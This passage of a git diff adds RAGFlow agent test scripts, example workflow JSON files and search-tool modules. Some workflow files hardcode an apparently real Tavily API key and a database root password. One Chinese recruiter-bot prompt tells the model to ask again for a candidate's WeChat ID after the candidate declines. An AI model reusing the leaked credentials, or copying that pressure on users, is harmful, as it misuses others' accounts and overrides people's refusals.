W6YIA5xS9A3246P9R7Fr6yYMbHySU9qTcOZdhgWr1mDBwiWYMb2Dw101zni5sYwMtXm+GyVoqGPfMxr2sZDtb8uuQ5nUJs7N9eJMFPVDEYZBFFIVs1qoutXc3/v+BdoP1/tUmqOcTg8e2YvsxzsRnthvTnbaz8aUlWvQNX8epnC41TZxkik8vqhQHSWosjyOaORhBpVR7xBGQ6zPOkxBkl4n9CzceFHBFLYoEkVkOihPruKU0kVH9K3zEP+5BTLgSlbBaZyJ2tmL0DJ3PuZ2dKC5vQXNkyZz6pykLi+YpYJI94flN4oTTMVMEU3otFvmRxuhMJIURl7wbUGeukjx9Ivxiyp65JhYjsCIZcoV/fBPLm651Qj0rlsfXMce5/x0Kt1Vla5ETV0N5XE9amprUFNTQ+mcKE6u/RjlUZsrSViEcVHxCntIhLxiyAVOppuDnaFqGSBwE74S3k+YUh3kMb4HjsYoyups05fLT0z/7oyTX4eyuGDd+v11nKitYwG7JSXNhxs9xuECOWkLyyZlNowRDlUU4phGSwCxqcyBsXai/j5Sk/LeV+XDZ7c0jtQ2OuNXAkoPCsKHM25h3boLO/rHbSA+7t94ZFoQuOv4EGIhvdEVGx0Pl0oPHewwWJcxTfmhtR43WomfE1j4WavMkKB8/CK/qbgHKDUtfN9D7z9D9fqrB1a1v1Z+n/8FOVED2P7bkToAAAAASUVORK5CYII=" +} + + diff --git a/agent/test/client.py b/agent/test/client.py new file mode 100644 index 0000000..09b685e --- /dev/null +++ b/agent/test/client.py @@ -0,0 +1,46 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import argparse +import os +from agent.canvas import Canvas +from api import settings + +if __name__ == '__main__': + parser = argparse.ArgumentParser() + dsl_default_path = os.path.join( + os.path.dirname(os.path.realpath(__file__)), + "dsl_examples", + "retrieval_and_generate.json", + ) + parser.add_argument('-s', '--dsl', default=dsl_default_path, help="input dsl", action='store', required=True) + parser.add_argument('-t', '--tenant_id', default=False, help="Tenant ID", action='store', required=True) + parser.add_argument('-m', '--stream', default=False, help="Stream output", action='store_true', required=False) + args = parser.parse_args() + + settings.init_settings() + canvas = Canvas(open(args.dsl, "r").read(), args.tenant_id) + if canvas.get_prologue(): + print(f"==================== Bot =====================\n> {canvas.get_prologue()}", end='') + query = "" + while True: + canvas.reset(True) + query = input("\n==================== User =====================\n> ") + ans = canvas.run(query=query) + print("==================== Bot =====================\n> ", end='') + for ans in canvas.run(query=query): + print(ans, end='\n', flush=True) + + print(canvas.path) diff --git a/agent/test/dsl_examples/categorize_and_agent_with_tavily.json b/agent/test/dsl_examples/categorize_and_agent_with_tavily.json new file mode 100644 index 0000000..7d95674 --- /dev/null +++ b/agent/test/dsl_examples/categorize_and_agent_with_tavily.json @@ -0,0 +1,85 @@ +{ + "components": { + "begin": { + "obj":{ + "component_name": "Begin", + "params": { + "prologue": "Hi there!" + } + }, + "downstream": ["categorize:0"], + "upstream": [] + }, + "categorize:0": { + "obj": { + "component_name": "Categorize", + "params": { + "llm_id": "deepseek-chat", + "category_description": { + "product_related": { + "description": "The question is about the product usage, appearance and how it works.", + "to": ["agent:0"] + }, + "others": { + "description": "The question is not about the product usage, appearance and how it works.", + "to": ["message:0"] + } + } + } + }, + "downstream": [], + "upstream": ["begin"] + }, + "message:0": { + "obj":{ + "component_name": "Message", + "params": { + "content": [ + "Sorry, I don't know. I'm an AI bot." + ] + } + }, + "downstream": [], + "upstream": ["categorize:0"] + }, + "agent:0": { + "obj": { + "component_name": "Agent", + "params": { + "llm_id": "deepseek-chat", + "sys_prompt": "You are a smart researcher. You could generate proper queries to search. According to the search results, you could deside next query if the result is not enough.", + "temperature": 0.2, + "llm_enabled_tools": [ + { + "component_name": "TavilySearch", + "params": { + "api_key": "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" + } + } + ] + } + }, + "downstream": ["message:1"], + "upstream": ["categorize:0"] + }, + "message:1": { + "obj": { + "component_name": "Message", + "params": { + "content": ["{agent:0@content}"] + } + }, + "downstream": [], + "upstream": ["agent:0"] + } + }, + "history": [], + "path": [], + "retrival": {"chunks": [], "doc_aggs": []}, + "globals": { + "sys.query": "", + "sys.user_id": "", + "sys.conversation_turns": 0, + "sys.files": [] + } +} \ No newline at end of file diff --git a/agent/test/dsl_examples/exesql.json b/agent/test/dsl_examples/exesql.json new file mode 100644 index 0000000..7e26587 --- /dev/null +++ b/agent/test/dsl_examples/exesql.json @@ -0,0 +1,43 @@ +{ + "components": { + "begin": { + "obj":{ + "component_name": "Begin", + "params": { + "prologue": "Hi there!" + } + }, + "downstream": ["answer:0"], + "upstream": [] + }, + "answer:0": { + "obj": { + "component_name": "Answer", + "params": {} + }, + "downstream": ["exesql:0"], + "upstream": ["begin", "exesql:0"] + }, + "exesql:0": { + "obj": { + "component_name": "ExeSQL", + "params": { + "database": "rag_flow", + "username": "root", + "host": "mysql", + "port": 3306, + "password": "infini_rag_flow", + "top_n": 3 + } + }, + "downstream": ["answer:0"], + "upstream": ["answer:0"] + } + }, + "history": [], + "messages": [], + "reference": {}, + "path": [], + "answer": [] +} + diff --git a/agent/test/dsl_examples/headhunter_zh.json b/agent/test/dsl_examples/headhunter_zh.json new file mode 100644 index 0000000..6e4abc8 --- /dev/null +++ b/agent/test/dsl_examples/headhunter_zh.json @@ -0,0 +1,210 @@ +{ + "components": { + "begin": { + "obj": { + "component_name": "Begin", + "params": { + "prologue": "您好！我是AGI方向的猎头，了解到您是这方面的大佬，然后冒昧的就联系到您。这边有个机会想和您分享，RAGFlow正在招聘您这个岗位的资深的工程师不知道您那边是不是感兴趣？" + } + }, + "downstream": ["answer:0"], + "upstream": [] + }, + "answer:0": { + "obj": { + "component_name": "Answer", + "params": {} + }, + "downstream": ["categorize:0"], + "upstream": ["begin", "message:reject"] + }, + "categorize:0": { + "obj": { + "component_name": "Categorize", + "params": { + "llm_id": "deepseek-chat", + "category_description": { + "about_job": { + "description": "该问题关于职位本身或公司的信息。", + "examples": "什么岗位？\n汇报对象是谁?\n公司多少人？\n公司有啥产品？\n具体工作内容是啥？\n地点哪里？\n双休吗？", + "to": "retrieval:0" + }, + "casual": { + "description": "该问题不关于职位本身或公司的信息，属于闲聊。", + "examples": "你好\n好久不见\n你男的女的？\n你是猴子派来的救兵吗？\n上午开会了?\n你叫啥？\n最近市场如何?生意好做吗？", + "to": "generate:casual" + }, + "interested": { + "description": "该回答表示他对于该职位感兴趣。", + "examples": "嗯\n说吧\n说说看\n还好吧\n是的\n哦\nyes\n具体说说", + "to": "message:introduction" + }, + "answer": { + "description": "该回答表示他对于该职位不感兴趣，或感觉受到骚扰。", + "examples": "不需要\n不感兴趣\n暂时不看\n不要\nno\n我已经不干这个了\n我不是这个方向的", + "to": "message:reject" + } + } + } + }, + "downstream": [ + "message:introduction", + "generate:casual", + "message:reject", + "retrieval:0" + ], + "upstream": ["answer:0"] + }, + "message:introduction": { + "obj": { + "component_name": "Message", + "params": { + "messages": [ + "我简单介绍以下：\nRAGFlow 是一款基于深度文档理解构建的开源 RAG（Retrieval-Augmented Generation）引擎。RAGFlow 可以为各种规模的企业及个人提供一套精简的 RAG 工作流程，结合大语言模型（LLM）针对用户各类不同的复杂格式数据提供可靠的问答以及有理有据的引用。https://github.com/infiniflow/ragflow\n您那边还有什么要了解的？" + ] + } + }, + "downstream": ["answer:1"], + "upstream": ["categorize:0"] + }, + "answer:1": { + "obj": { + "component_name": "Answer", + "params": {} + }, + "downstream": ["categorize:1"], + "upstream": [ + "message:introduction", + "generate:aboutJob", + "generate:casual", + "generate:get_wechat", + "generate:nowechat" + ] + }, + "categorize:1": { + "obj": { + "component_name": "Categorize", + "params": { + "llm_id": "deepseek-chat", + "category_description": { + "about_job": { + "description": "该问题关于职位本身或公司的信息。", + "examples": "什么岗位？\n汇报对象是谁?\n公司多少人？\n公司有啥产品？\n具体工作内容是啥？\n地点哪里？\n双休吗？", + "to": "retrieval:0" + }, + "casual": { + "description": "该问题不关于职位本身或公司的信息，属于闲聊。", + "examples": "你好\n好久不见\n你男的女的？\n你是猴子派来的救兵吗？\n上午开会了?\n你叫啥？\n最近市场如何?生意好做吗？", + "to": "generate:casual" + }, + "wechat": { + "description": "该回答表示他愿意加微信,或者已经报了微信号。", + "examples": "嗯\n可以\n是的\n哦\nyes\n15002333453\nwindblow_2231", + "to": "generate:get_wechat" + }, + "giveup": { + "description": "该回答表示他不愿意加微信。", + "examples": "不需要\n不感兴趣\n暂时不看\n不要\nno\n不方便\n不知道还要加我微信", + "to": "generate:nowechat" + } + }, + "message_history_window_size": 8 + } + }, + "downstream": [ + "retrieval:0", + "generate:casual", + "generate:get_wechat", + "generate:nowechat" + ], + "upstream": ["answer:1"] + }, + "generate:casual": { + "obj": { + "component_name": "Generate", + "params": { + "llm_id": "deepseek-chat", + "prompt": "你是AGI方向的猎头，现在候选人的聊了和职位无关的话题，请耐心的回应候选人，并将话题往该AGI的职位上带，最好能要到候选人微信号以便后面保持联系。", + "temperature": 0.9, + "message_history_window_size": 12, + "cite": false + } + }, + "downstream": ["answer:1"], + "upstream": ["categorize:0", "categorize:1"] + }, + "retrieval:0": { + "obj": { + "component_name": "Retrieval", + "params": { + "similarity_threshold": 0.2, + "keywords_similarity_weight": 0.3, + "top_n": 6, + "top_k": 1024, + "rerank_id": "BAAI/bge-reranker-v2-m3", + "kb_ids": ["869a236818b811ef91dffa163e197198"] + } + }, + "downstream": ["generate:aboutJob"], + "upstream": ["categorize:0", "categorize:1"] + }, + "generate:aboutJob": { + "obj": { + "component_name": "Generate", + "params": { + "llm_id": "deepseek-chat", + "prompt": "你是AGI方向的猎头，候选人问了有关职位或公司的问题，你根据以下职位信息回答。如果职位信息中不包含候选人的问题就回答不清楚、不知道、有待确认等。回答完后引导候选人加微信号，如：\n - 方便加一下微信吗，我把JD发您看看？\n - 微信号多少，我把详细职位JD发您？\n 职位信息如下:\n {input}\n 职位信息如上。", + "temperature": 0.02 + } + }, + "downstream": ["answer:1"], + "upstream": ["retrieval:0"] + }, + "generate:get_wechat": { + "obj": { + "component_name": "Generate", + "params": { + "llm_id": "deepseek-chat", + "prompt": "你是AGI方向的猎头，候选人表示不反感加微信，如果对方已经报了微信号，表示感谢和信任并表示马上会加上；如果没有，则问对方微信号多少。你的微信号是weixin_kevin，E-mail是kkk@ragflow.com。说话不要重复。不要总是您好。", + "temperature": 0.1, + "message_history_window_size": 12, + "cite": false + } + }, + "downstream": ["answer:1"], + "upstream": ["categorize:1"] + }, + "generate:nowechat": { + "obj": { + "component_name": "Generate", + "params": { + "llm_id": "deepseek-chat", + "prompt": "你是AGI方向的猎头，当你提出加微信时对方表示拒绝。你需要耐心礼貌的回应候选人，表示对于保护隐私信息给予理解，也可以询问他对该职位的看法和顾虑。并在恰当的时机再次询问微信联系方式。也可以鼓励候选人主动与你取得联系。你的微信号是weixin_kevin，E-mail是kkk@ragflow.com。说话不要重复。不要总是您好。", + "temperature": 0.1, + "message_history_window_size": 12, + "cite": false + } + }, + "downstream": ["answer:1"], + "upstream": ["categorize:1"] + }, + "message:reject": { + "obj": { + "component_name": "Message", + "params": { + "messages": [ + "好的，祝您生活愉快，工作顺利。", + "哦，好的，感谢您宝贵的时间！" + ] + } + }, + "downstream": ["answer:0"], + "upstream": ["categorize:0"] + } + }, + "history": [], + "messages": [], + "path": [], + "reference": [], + "answer": [] +} diff --git a/agent/test/dsl_examples/iteration.json b/agent/test/dsl_examples/iteration.json new file mode 100644 index 0000000..dd44484 --- /dev/null +++ b/agent/test/dsl_examples/iteration.json @@ -0,0 +1,92 @@ +{ + "components": { + "begin": { + "obj":{ + "component_name": "Begin", + "params": { + "prologue": "Hi there!" + } + }, + "downstream": ["generate:0"], + "upstream": [] + }, + "generate:0": { + "obj": { + "component_name": "Agent", + "params": { + "llm_id": "deepseek-chat", + "sys_prompt": "You are an helpful research assistant. \nPlease decompose user's topic: '{sys.query}' into several meaningful sub-topics. \nThe output format MUST be an string array like: [\"sub-topic1\", \"sub-topic2\", ...]. Redundant information is forbidden.", + "temperature": 0.2, + "cite":false, + "output_structure": ["sub-topic1", "sub-topic2", "sub-topic3"] + } + }, + "downstream": ["iteration:0"], + "upstream": ["begin"] + }, + "iteration:0": { + "obj": { + "component_name": "Iteration", + "params": { + "items_ref": "generate:0@structured_content" + } + }, + "downstream": ["message:0"], + "upstream": ["generate:0"] + }, + "iterationitem:0": { + "obj": { + "component_name": "IterationItem", + "params": {} + }, + "parent_id": "iteration:0", + "downstream": ["tavily:0"], + "upstream": [] + }, + "tavily:0": { + "obj": { + "component_name": "TavilySearch", + "params": { + "api_key": "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", + "query": "iterationitem:0@result" + } + }, + "parent_id": "iteration:0", + "downstream": ["generate:1"], + "upstream": ["iterationitem:0"] + }, + "generate:1": { + "obj": { + "component_name": "Agent", + "params": { + "llm_id": "deepseek-chat", + "sys_prompt": "Your goal is to provide answers based on information from the internet. \nYou must use the provided search results to find relevant online information. \nYou should never use your own knowledge to answer questions.\nPlease include relevant url sources in the end of your answers.\n\n \"{tavily:0@formalized_content}\" \nUsing the above information, answer the following question or topic: \"{iterationitem:0@result} \"\nin a detailed report — The report should focus on the answer to the question, should be well structured, informative, in depth, with facts and numbers if available, a minimum of 200 words and with markdown syntax and apa format. Write all source urls at the end of the report in apa format. You should write your report only based on the given information and nothing else.", + "temperature": 0.9, + "cite":false + } + }, + "parent_id": "iteration:0", + "downstream": ["iterationitem:0"], + "upstream": ["tavily:0"] + }, + "message:0": { + "obj": { + "component_name": "Message", + "params": { + "content": ["{iteration:0@generate:1}"] + } + }, + "downstream": [], + "upstream": ["iteration:0"] + } + }, + "history": [], + "path": [], + "retrival": {"chunks": [], "doc_aggs": []}, + "globals": { + "sys.query": "", + "sys.user_id": "", + "sys.conversation_turns": 0, + "sys.files": [] + } +} \ No newline at end of file diff --git a/agent/test/dsl_examples/retrieval_and_generate.json b/agent/test/dsl_examples/retrieval_and_generate.json new file mode 100644 index 0000000..9f9f9ba --- /dev/null +++ b/agent/test/dsl_examples/retrieval_and_generate.json @@ -0,0 +1,61 @@ +{ + "components": { + "begin": { + "obj":{ + "component_name": "Begin", + "params": { + "prologue": "Hi there!" + } + }, + "downstream": ["retrieval:0"], + "upstream": [] + }, + "retrieval:0": { + "obj": { + "component_name": "Retrieval", + "params": { + "similarity_threshold": 0.2, + "keywords_similarity_weight": 0.3, + "top_n": 6, + "top_k": 1024, + "rerank_id": "", + "empty_response": "Nothing found in dataset", + "kb_ids": ["1a3d1d7afb0611ef9866047c16ec874f"] + } + }, + "downstream": ["generate:0"], + "upstream": ["begin"] + }, + "generate:0": { + "obj": { + "component_name": "LLM", + "params": { + "llm_id": "deepseek-chat", + "sys_prompt": "You are an intelligent assistant. Please summarize the content of the knowledge base to answer the question. Please list the data in the knowledge base and answer in detail. When all knowledge base content is irrelevant to the question, your answer must include the sentence \"The answer you are looking for is not found in the knowledge base!\" Answers need to consider chat history.\n Here is the knowledge base:\n {retrieval:0@formalized_content}\n The above is the knowledge base.", + "temperature": 0.2 + } + }, + "downstream": ["message:0"], + "upstream": ["retrieval:0"] + }, + "message:0": { + "obj": { + "component_name": "Message", + "params": { + "content": ["{generate:0@content}"] + } + }, + "downstream": [], + "upstream": ["generate:0"] + } + }, + "history": [], + "path": [], + "retrival": {"chunks": [], "doc_aggs": []}, + "globals": { + "sys.query": "", + "sys.user_id": "", + "sys.conversation_turns": 0, + "sys.files": [] + } +} \ No newline at end of file diff --git a/agent/test/dsl_examples/retrieval_categorize_and_generate.json b/agent/test/dsl_examples/retrieval_categorize_and_generate.json new file mode 100644 index 0000000..c506b9a --- /dev/null +++ b/agent/test/dsl_examples/retrieval_categorize_and_generate.json @@ -0,0 +1,95 @@ +{ + "components": { + "begin": { + "obj":{ + "component_name": "Begin", + "params": { + "prologue": "Hi there!" + } + }, + "downstream": ["categorize:0"], + "upstream": [] + }, + "categorize:0": { + "obj": { + "component_name": "Categorize", + "params": { + "llm_id": "deepseek-chat", + "category_description": { + "product_related": { + "description": "The question is about the product usage, appearance and how it works.", + "examples": [], + "to": ["retrieval:0"] + }, + "others": { + "description": "The question is not about the product usage, appearance and how it works.", + "examples": [], + "to": ["message:0"] + } + } + } + }, + "downstream": [], + "upstream": ["begin"] + }, + "message:0": { + "obj":{ + "component_name": "Message", + "params": { + "content": [ + "Sorry, I don't know. I'm an AI bot." + ] + } + }, + "downstream": [], + "upstream": ["categorize:0"] + }, + "retrieval:0": { + "obj": { + "component_name": "Retrieval", + "params": { + "similarity_threshold": 0.2, + "keywords_similarity_weight": 0.3, + "top_n": 6, + "top_k": 1024, + "rerank_id": "", + "empty_response": "Nothing found in dataset", + "kb_ids": ["1a3d1d7afb0611ef9866047c16ec874f"] + } + }, + "downstream": ["generate:0"], + "upstream": ["categorize:0"] + }, + "generate:0": { + "obj": { + "component_name": "Agent", + "params": { + "llm_id": "deepseek-chat", + "sys_prompt": "You are an intelligent assistant. Please summarize the content of the knowledge base to answer the question. Please list the data in the knowledge base and answer in detail. When all knowledge base content is irrelevant to the question, your answer must include the sentence \"The answer you are looking for is not found in the knowledge base!\" Answers need to consider chat history.\n Here is the knowledge base:\n {retrieval:0@formalized_content}\n The above is the knowledge base.", + "temperature": 0.2 + } + }, + "downstream": ["message:1"], + "upstream": ["retrieval:0"] + }, + "message:1": { + "obj": { + "component_name": "Message", + "params": { + "content": ["{generate:0@content}"] + } + }, + "downstream": [], + "upstream": ["generate:0"] + } + }, + "history": [], + "path": [], + "retrival": {"chunks": [], "doc_aggs": []}, + "globals": { + "sys.query": "", + "sys.user_id": "", + "sys.conversation_turns": 0, + "sys.files": [] + } +} \ No newline at end of file diff --git a/agent/test/dsl_examples/tavily_and_generate.json b/agent/test/dsl_examples/tavily_and_generate.json new file mode 100644 index 0000000..f2f79b4 --- /dev/null +++ b/agent/test/dsl_examples/tavily_and_generate.json @@ -0,0 +1,55 @@ +{ + "components": { + "begin": { + "obj":{ + "component_name": "Begin", + "params": { + "prologue": "Hi there!" + } + }, + "downstream": ["tavily:0"], + "upstream": [] + }, + "tavily:0": { + "obj": { + "component_name": "TavilySearch", + "params": { + "api_key": "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" + } + }, + "downstream": ["generate:0"], + "upstream": ["begin"] + }, + "generate:0": { + "obj": { + "component_name": "LLM", + "params": { + "llm_id": "deepseek-chat", + "sys_prompt": "You are an intelligent assistant. Please summarize the content of the knowledge base to answer the question. Please list the data in the knowledge base and answer in detail. When all knowledge base content is irrelevant to the question, your answer must include the sentence \"The answer you are looking for is not found in the knowledge base!\" Answers need to consider chat history.\n Here is the knowledge base:\n {tavily:0@formalized_content}\n The above is the knowledge base.", + "temperature": 0.2 + } + }, + "downstream": ["message:0"], + "upstream": ["tavily:0"] + }, + "message:0": { + "obj": { + "component_name": "Message", + "params": { + "content": ["{generate:0@content}"] + } + }, + "downstream": [], + "upstream": ["generate:0"] + } + }, + "history": [], + "path": [], + "retrival": {"chunks": [], "doc_aggs": []}, + "globals": { + "sys.query": "", + "sys.user_id": "", + "sys.conversation_turns": 0, + "sys.files": [] + } +} \ No newline at end of file diff --git a/agent/tools/__init__.py b/agent/tools/__init__.py new file mode 100644 index 0000000..e002614 --- /dev/null +++ b/agent/tools/__init__.py @@ -0,0 +1,48 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import os +import importlib +import inspect +from types import ModuleType +from typing import Dict, Type + +_package_path = os.path.dirname(__file__) +__all_classes: Dict[str, Type] = {} + +def _import_submodules() -> None: + for filename in os.listdir(_package_path): # noqa: F821 + if filename.startswith("__") or not filename.endswith(".py") or filename.startswith("base"): + continue + module_name = filename[:-3] + + try: + module = importlib.import_module(f".{module_name}", package=__name__) + _extract_classes_from_module(module) # noqa: F821 + except ImportError as e: + print(f"Warning: Failed to import module {module_name}: {str(e)}") + +def _extract_classes_from_module(module: ModuleType) -> None: + for name, obj in inspect.getmembers(module): + if (inspect.isclass(obj) and + obj.__module__ == module.__name__ and not name.startswith("_")): + __all_classes[name] = obj + globals()[name] = obj + +_import_submodules() + +__all__ = list(__all_classes.keys()) + ["__all_classes"] + +del _package_path, _import_submodules, _extract_classes_from_module \ No newline at end of file diff --git a/agent/tools/akshare.py b/agent/tools/akshare.py new file mode 100644 index 0000000..a3ce3eb --- /dev/null +++ b/agent/tools/akshare.py @@ -0,0 +1,56 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +from abc import ABC +import pandas as pd +from agent.component.base import ComponentBase, ComponentParamBase + + +class AkShareParam(ComponentParamBase): + """ + Define the AkShare component parameters. + """ + + def __init__(self): + super().__init__() + self.top_n = 10 + + def check(self): + self.check_positive_integer(self.top_n, "Top N") + + +class AkShare(ComponentBase, ABC): + component_name = "AkShare" + + def _run(self, history, **kwargs): + import akshare as ak + ans = self.get_input() + ans = ",".join(ans["content"]) if "content" in ans else "" + if not ans: + return AkShare.be_output("") + + try: + ak_res = [] + stock_news_em_df = ak.stock_news_em(symbol=ans) + stock_news_em_df = stock_news_em_df.head(self._param.top_n) + ak_res = [{"content": '' + i["新闻标题"] + '\n 新闻内容: ' + i[ + "新闻内容"] + " \n发布时间:" + i["发布时间"] + " \n文章来源: " + i["文章来源"]} for index, i in stock_news_em_df.iterrows()] + except Exception as e: + return AkShare.be_output("**ERROR**: " + str(e)) + + if not ak_res: + return AkShare.be_output("") + + return pd.DataFrame(ak_res) diff --git a/agent/tools/arxiv.py b/agent/tools/arxiv.py new file mode 100644 index 0000000..616afa3 --- /dev/null +++ b/agent/tools/arxiv.py @@ -0,0 +1,102 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging +import os +import time +from abc import ABC +import arxiv +from agent.tools.base import ToolParamBase, ToolMeta, ToolBase +from api.utils.api_utils import timeout + + +class ArXivParam(ToolParamBase): + """ + Define the ArXiv component parameters. + """ + + def __init__(self): + self.meta:ToolMeta = { + "name": "arxiv_search", + "description": """arXiv is a free distribution service and an open-access archive for nearly 2.4 million scholarly articles in the fields of physics, mathematics, computer science, quantitative biology, quantitative finance, statistics, electrical engineering and systems science, and economics. Materials on this site are not peer-reviewed by arXiv.""", + "parameters": { + "query": { + "type": "string", + "description": "The search keywords to execute with arXiv. The keywords should be the most important words/terms(includes synonyms) from the original request.", + "default": "{sys.query}", + "required": True + } + } + } + super().__init__() + self.top_n = 12 + self.sort_by = 'submittedDate' + + def check(self): + self.check_positive_integer(self.top_n, "Top N") + self.check_valid_value(self.sort_by, "ArXiv Search Sort_by", + ['submittedDate', 'lastUpdatedDate', 'relevance']) + + def get_input_form(self) -> dict[str, dict]: + return { + "query": { + "name": "Query", + "type": "line" + } + } + + +class ArXiv(ToolBase, ABC): + component_name = "ArXiv" + + @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 12))) + def _invoke(self, **kwargs): + if not kwargs.get("query"): + self.set_output("formalized_content", "") + return "" + + last_e = "" + for _ in range(self._param.max_retries+1): + try: + sort_choices = {"relevance": arxiv.SortCriterion.Relevance, + "lastUpdatedDate": arxiv.SortCriterion.LastUpdatedDate, + 'submittedDate': arxiv.SortCriterion.SubmittedDate} + arxiv_client = arxiv.Client() + search = arxiv.Search( + query=kwargs["query"], + max_results=self._param.top_n, + sort_by=sort_choices[self._param.sort_by] + ) + self._retrieve_chunks(list(arxiv_client.results(search)), + get_title=lambda r: r.title, + get_url=lambda r: r.pdf_url, + get_content=lambda r: r.summary) + return self.output("formalized_content") + except Exception as e: + last_e = e + logging.exception(f"ArXiv error: {e}") + time.sleep(self._param.delay_after_error) + + if last_e: + self.set_output("_ERROR", str(last_e)) + return f"ArXiv error: {last_e}" + + assert False, self.output() + + def thoughts(self) -> str: + return """ +Keywords: {} +Looking for the most relevant articles. + """.format(self.get_input().get("query", "-_-!")) diff --git a/agent/tools/base.py b/agent/tools/base.py new file mode 100644 index 0000000..e775615 --- /dev/null +++ b/agent/tools/base.py @@ -0,0 +1,173 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging +import re +import time +from copy import deepcopy +from functools import partial +from typing import TypedDict, List, Any +from agent.component.base import ComponentParamBase, ComponentBase +from api.utils import hash_str2int +from rag.llm.chat_model import ToolCallSession +from rag.prompts.generator import kb_prompt +from rag.utils.mcp_tool_call_conn import MCPToolCallSession +from timeit import default_timer as timer + + +class ToolParameter(TypedDict): + type: str + description: str + displayDescription: str + enum: List[str] + required: bool + + +class ToolMeta(TypedDict): + name: str + displayName: str + description: str + displayDescription: str + parameters: dict[str, ToolParameter] + + +class LLMToolPluginCallSession(ToolCallSession): + def __init__(self, tools_map: dict[str, object], callback: partial): + self.tools_map = tools_map + self.callback = callback + + def tool_call(self, name: str, arguments: dict[str, Any]) -> Any: + assert name in self.tools_map, f"LLM tool {name} does not exist" + st = timer() + if isinstance(self.tools_map[name], MCPToolCallSession): + resp = self.tools_map[name].tool_call(name, arguments, 60) + else: + resp = self.tools_map[name].invoke(**arguments) + + self.callback(name, arguments, resp, elapsed_time=timer()-st) + return resp + + def get_tool_obj(self, name): + return self.tools_map[name] + + +class ToolParamBase(ComponentParamBase): + def __init__(self): + #self.meta:ToolMeta = None + super().__init__() + self._init_inputs() + self._init_attr_by_meta() + + def _init_inputs(self): + self.inputs = {} + for k,p in self.meta["parameters"].items(): + self.inputs[k] = deepcopy(p) + + def _init_attr_by_meta(self): + for k,p in self.meta["parameters"].items(): + if not hasattr(self, k): + setattr(self, k, p.get("default")) + + def get_meta(self): + params = {} + for k, p in self.meta["parameters"].items(): + params[k] = { + "type": p["type"], + "description": p["description"] + } + if "enum" in p: + params[k]["enum"] = p["enum"] + + desc = self.meta["description"] + if hasattr(self, "description"): + desc = self.description + + function_name = self.meta["name"] + if hasattr(self, "function_name"): + function_name = self.function_name + + return { + "type": "function", + "function": { + "name": function_name, + "description": desc, + "parameters": { + "type": "object", + "properties": params, + "required": [k for k, p in self.meta["parameters"].items() if p["required"]] + } + } + } + + +class ToolBase(ComponentBase): + def __init__(self, canvas, id, param: ComponentParamBase): + from agent.canvas import Canvas # Local import to avoid cyclic dependency + assert isinstance(canvas, Canvas), "canvas must be an instance of Canvas" + self._canvas = canvas + self._id = id + self._param = param + self._param.check() + + def get_meta(self) -> dict[str, Any]: + return self._param.get_meta() + + def invoke(self, **kwargs): + self.set_output("_created_time", time.perf_counter()) + try: + res = self._invoke(**kwargs) + except Exception as e: + self._param.outputs["_ERROR"] = {"value": str(e)} + logging.exception(e) + res = str(e) + self._param.debug_inputs = [] + + self.set_output("_elapsed_time", time.perf_counter() - self.output("_created_time")) + return res + + def _retrieve_chunks(self, res_list: list, get_title, get_url, get_content, get_score=None): + chunks = [] + aggs = [] + for r in res_list: + content = get_content(r) + if not content: + continue + content = re.sub(r"!?\[[a-z]+\]\(data:image/png;base64,[ 0-9A-Za-z/_=+-]+\)", "", content) + content = content[:10000] + if not content: + continue + id = str(hash_str2int(content)) + title = get_title(r) + url = get_url(r) + score = get_score(r) if get_score else 1 + chunks.append({ + "chunk_id": id, + "content": content, + "doc_id": id, + "docnm_kwd": title, + "similarity": score, + "url": url + }) + aggs.append({ + "doc_name": title, + "doc_id": id, + "count": 1, + "url": url + }) + self._canvas.add_reference(chunks, aggs) + self.set_output("formalized_content", "\n".join(kb_prompt({"chunks": chunks, "doc_aggs": aggs}, 200000, True))) + + def thoughts(self) -> str: + return self._canvas.get_component_name(self._id) + " is running..." \ No newline at end of file diff --git a/agent/tools/code_exec.py b/agent/tools/code_exec.py new file mode 100644 index 0000000..6bd1af3 --- /dev/null +++ b/agent/tools/code_exec.py @@ -0,0 +1,201 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# 